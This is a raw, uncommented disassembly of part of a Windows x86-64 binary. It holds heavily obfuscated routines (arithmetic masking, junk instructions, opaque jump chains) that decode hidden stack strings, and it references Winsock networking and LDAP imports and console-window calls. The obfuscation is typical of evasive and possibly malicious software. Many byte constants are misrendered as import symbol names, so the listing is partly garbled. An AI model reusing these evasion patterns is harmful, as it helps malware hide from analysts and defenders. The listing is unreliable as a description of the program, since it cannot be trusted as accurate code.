lea edx, [r11 - 0x3c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x5c
jmp 0x1400c8129
movzx edi, r11b
lea edx, [rdi - 0x1a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x4a
jmp 0x1400c80fc
lea edx, [r11 + 8]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x38
jmp 0x1400c8268
lea edx, [r11 + 0x2a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x26
jmp 0x1400c8265
movzx edi, r11b
lea edx, [rdi + 0x4c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x14
jmp 0x1400c822c
lea edx, [r11 + 0x6e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 2
dec r11
inc r11
jmp 0x1400c7813
lea r8d, [r11 - 0x70]
movzx ecx, r8b
and cl, r10b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1400c7813
movzx edi, r11b
lea r8d, [rdi - 0x4e]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x1400c81c7
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jae 0x1400c7e9f
lea edx, [r11 + 0x6f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 9
jmp 0x1400c7d23
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c7ed4
lea edx, [r11 + 0x36]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x7a
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
inc rcx
cmp rax, rcx
jne 0x1400c7f00
movzx edi, r11b
lea r8d, [rdi - 0xe]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x1400c80fc
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400c7d23
movzx edi, r11b
lea edx, [rdi + 0x26]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0xa
jmp 0x1400c81c7
jne 0x1400c7f4e
movzx edi, r11b
lea r8d, [rdi + 0x51]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x37
add bl, r8b
jmp 0x1400c81c7
inc rcx
cmp rax, rcx
jne 0x1400c7f71
lea edx, [r11 - 0x37]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x7f
jmp 0x1400c8265
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c7f95
lea edx, [r11 - 0x59]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x6f
jmp 0x1400c8268
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400c7cdd
movzx edi, r11b
lea r8d, [rdi - 0x7b]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, 0x5d
add bl, r8b
jmp 0x1400c80fc
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400c7fff
lea r8d, [r11 + 0x6c]
movzx ecx, r10b
and cl, r8b
mov edx, 6
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400c802a
movzx edi, r11b
lea r8d, [rdi + 0x28]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x18
add bl, r8b
jmp 0x1400c80fc
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400c7c98
movzx edi, r11b
lea r8d, [rdi + 0x5c]
movzx ecx, r10b
and cl, r8b
mov edx, 0x3e
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x1400c81c7
movzx edi, r11b
lea r8d, [rdi + 0x18]
movzx ecx, r10b
and cl, r8b
movzx edx, byte [rbp + r11 + 0x178]
sub dl, cl
add dl, 0x2c
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x1400c822c
movzx edi, r11b
lea r8d, [rdi - 0xa]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x1400c80fc
lea edx, [r11 - 0x17]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x5f
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
lea edx, [r11 + 0xb]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x4d
jmp 0x1400c8129
movzx edi, r11b
lea edx, [rdi + 0x2d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x3b
add dil, 0x65
movzx ecx, r10b
and cl, dil
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, 0x3d
add dl, dil
movzx ecx, dl
mov byte [rbp + r11 + 0x178], cl
inc r9
add rcx, r9
sub r11, rcx
lea r8d, [r11 - 0x2c]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
mov byte [rbp + r11 + 0x178], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
lea edx, [r11 + 0x4f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x29
jmp 0x1400c8268
lea edx, [r11 - 0x29]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x1f
inc r9
dec r11
inc r11
jmp 0x1400c7813
movzx edi, r11b
lea edx, [rdi - 7]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x31
sub dil, 0x57
movzx ecx, r10b
and cl, dil
add cl, cl
sub r10b, cl
add r10b, 0x61
add r10b, dil
mov byte [rbp + r11 + 0x178], r10b
inc r9
dec r11
inc r11
jmp 0x1400c7813
lea edx, [r11 - 0x7f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x79
dec r11
inc r11
jmp 0x1400c7813
movzx edi, r11b
lea edx, [rdi - 0x5d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x75
sub dil, 0x79
movzx ecx, r10b
and cl, dil
add cl, cl
sub r10b, cl
add r10b, 0x4f
add r10b, dil
add r10b, bl
mov byte [rbp + r11 + 0x178], r10b
jmp 0x1400c8265
lea edx, [r11 - 0x3b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x63
add rax, r9
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x1400c7813
lea rdx, [r11 + r14]
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea ebx, [r8 + rdx]
sub bl, 0x1b
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
sub r11b, 0x55
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x53
jmp 0x1400c7810
sub r11b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x65
jmp 0x1400c7800
mov eax, dword [rbp + 0x1423c0c]
cdqe
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
jmp 0x1400ca781
mov eax, dword [rbp + 0x179b07b]
cdqe
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
jmp 0x1400ca781
mov eax, dword [rbp + 0x178]
cdqe
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
jmp 0x1400ca781
mov byte [rbp + 0x278], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x279], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x27a], reloc.WS2_32.dll_send
mov byte [rbp + 0x27b], reloc.WS2_32.dll_socket
mov byte [rbp + 0x27c], Ordinal_33
mov byte [rbp + 0x27d], Ordinal_30
mov byte [rbp + 0x27e], 0x5c
mov byte [rbp + 0x27f], Ordinal_46
mov byte [rbp + 0x280], Ordinal_50
mov byte [rbp + 0x281], 0x41
mov byte [rbp + 0x282], gethostname
mov byte [rbp + 0x283], 4
mov byte [rbp + 0x284], Ordinal_50
mov byte [rbp + 0x285], select
mov byte [rbp + 0x286], 2
mov byte [rbp + 0x287], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x288], 0x46
mov byte [rbp + 0x289], 0x3f
mov byte [rbp + 0x28a], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x28c], 0x3f
mov byte [rbp + 0x28d], 6
mov byte [rbp + 0x28e], 0x3d
mov byte [rbp + 0x28f], 1
mov byte [rbp + 0x290], 0xa4
mov byte [rbp + 0x291], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x292], xmm0
mov qword [rbp + 0x2a2], rax
mov byte [rbp + 0x2aa], al
movabs rsi, 0x8cb555d121c7647
movabs r14, 0x4f260045a300287f
movabs r12, 0x3d8f558b7ec73bf1
movabs r15, 0x1a620017365562d5
movzx r11d, byte [rsp + 0x30]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400c8f26
movzx r10d, byte [rbp + rbx + 0x278]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x1400c8f1d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c848c
lea rcx, [rbx + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0xf
jmp 0x1400c84c6
je 0x1400c8eb5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c8e31
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c8e03
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c8dc3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c8da1
cmp r9, rbx
ja 0x1400c8f14
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c84ef
lea ecx, [rbx - 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3b
jmp 0x1400c8540
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c8d5c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c8d3c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c8d1f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c8d05
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c8ceb
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c8cc0
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c89e3
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c89c1
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c899e
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c897e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c8961
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c8944
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c8925
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c8906
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x40]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c8efa
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c8ee0
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c86f7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c86dd
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c86c3
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c88bf
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c887c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c883d
lea r8, [r9 + 2]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c8812
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c87f3
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c87d4
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c87b5
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c8793
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c8771
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c8751
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c872e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c8711
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c8550
lea r8, [r9 + 1]
lea r9, [r8 + 0x1000]
jmp 0x1400c8550
lea ecx, [rbx - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x25
jmp 0x1400c8540
lea ecx, [rbx - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 7
jmp 0x1400c84c6
lea ecx, [rbx + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x17
jmp 0x1400c8456
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx edi, bl
jmp 0x1400c8d74
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
dec rbx
inc rbx
jmp 0x1400c8443
lea edx, [rbx - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx edi, bl
jmp 0x1400c8ddb
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400c8e18
lea edx, [rbx - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e18
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e4b
lea edx, [rbx - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e71
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea ecx, [rbx + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7f
cmp r9, 0x7a
jb 0x1400c8c6f
movzx edi, bl
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0xc]
jmp 0x1400c8d74
lea ecx, [rbx - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x61
cmp r8, 0x42
jae 0x1400c8c7f
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400c8b92
lea ecx, [rbx - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x1400c8852
lea ecx, [rbx + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x43
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x1400c8ca4
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400c8ae8
lea ecx, [rbx - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6d
jmp 0x1400c8891
lea edx, [rbx - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e4b
lea edx, [rbx + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e18
lea ecx, [rbx - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
add r8, r9
jmp 0x1400c8e18
movzx edi, bl
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400c8ddb
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
dec rbx
inc rbx
jmp 0x1400c8443
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
movzx edi, bl
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8d74
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400c8a09
lea ecx, [rbx + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xf
jmp 0x1400c88d4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c8a42
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c8a65
lea ecx, [rbx - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x1400c8e4b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c8a88
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x1400c8e18
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c8ab3
movzx edi, bl
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8ddb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c88d4
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c8b0e
movzx edi, bl
lea ecx, [rdi + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
jmp 0x1400c8d74
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c8b37
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x13
dec rbx
inc rbx
jmp 0x1400c8443
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c8b5a
lea ecx, [rbx + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x1400c8e18
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c8891
lea ecx, [rbx - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5f
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c8bc6
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c8bee
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c8e4b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c8c19
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400c8e18
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c8c3f
movzx edi, bl
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
jmp 0x1400c8ddb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c8852
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
mov byte [rbp + rbx + 0x278], r11b
inc rbx
jmp 0x1400c8443
movzx edi, bl
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx + 0x278]
sub cl, al
add cl, 0xc
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c8ddb
lea edx, [rbx + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c8e4b
lea ecx, [rbx - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x49
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea ecx, [rbx - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xd
jmp 0x1400c8e4b
lea ecx, [rbx + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
jmp 0x1400c8e18
movzx edi, bl
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4d
jmp 0x1400c8ddb
lea ecx, [rbx + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6b
dec rbx
inc rbx
jmp 0x1400c8443
movzx edi, bl
lea ecx, [rdi + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x59
sub dil, 0x6f
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 9
add dil, r10b
mov byte [rbp + rbx + 0x278], dil
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
lea ecx, [rbx - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c8443
movzx edi, bl
lea ecx, [rdi - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
add dil, 0x1f
movzx eax, dil
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x27
add cl, dil
add cl, r10b
mov byte [rbp + rbx + 0x278], cl
add r8, r9
jmp 0x1400c8e18
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x79
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c8443
lea rcx, [rbx + r12]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
add r11b, 0x69
add r11b, cl
lea ecx, [rbx - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x45
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x278], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x278], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
lea rcx, [rbx + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x2d
movzx eax, byte [rbp + rbx + 0x278]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c8443
sub bl, 0x1d
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x35
jmp 0x1400c8440
add bl, 0x55
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x53
jmp 0x1400c8430
lea rdx, [rbp + 0x15f7a2c]
jmp 0x1400c8f2d
lea rdx, [rbp + 0x7bf073]
jmp 0x1400c8f2d
lea rdx, [rbp + 0x278]
mov rcx, qword [0x140220750]
call fcn.1400ca7c0
mov rsi, qword [0x140220750]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x600], Ordinal_143
mov byte [rbp + 0x601], WSAStartup
mov byte [rbp + 0x602], 0x75
mov byte [rbp + 0x603], 0x7e
mov byte [rbp + 0x604], 0x75
mov byte [rbp + 0x605], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x606], WSAGetLastError
mov byte [rbp + 0x607], 0xaf
mov byte [rbp + 0x608], 0x63
mov byte [rbp + 0x609], 0x7c
mov byte [rbp + 0x60a], 0x7e
mov byte [rbp + 0x60b], 0x76
mov byte [rbp + 0x60c], 0x7b
mov byte [rbp + 0x60d], 0x7d
mov byte [rbp + 0x60e], 0x63
mov byte [rbp + 0x60f], 0xb7
mov byte [rbp + 0x610], 0x61
mov byte [rbp + 0x611], 0x67
mov byte [rbp + 0x612], 0xb4
mov byte [rbp + 0x613], 0xae
mov byte [rbp + 0x614], 0xb2
mov byte [rbp + 0x615], WSAGetLastError
mov byte [rbp + 0x616], 0x7b
mov byte [rbp + 0x617], WSAStartup
mov byte [rbp + 0x618], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x619], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x61a], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x61b], 0x66
mov byte [rbp + 0x61c], 0xa8
mov byte [rbp + 0x61d], 0xab
mov byte [rbp + 0x61e], 0xaa
mov byte [rbp + 0x61f], Ordinal_50
mov byte [rbp + 0x620], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x621], xmm0
movups xmmword [rbp + 0x631], xmm0
mov word [rbp + 0x641], ax
movabs r14, 0xf6850b1765dc8e1
movabs r15, 0x8aaad63d294c0fe9
movabs r12, 0x2e38f21463195aa3
movzx edx, byte [rsp + 0x30]
nop dword [rax + rax]
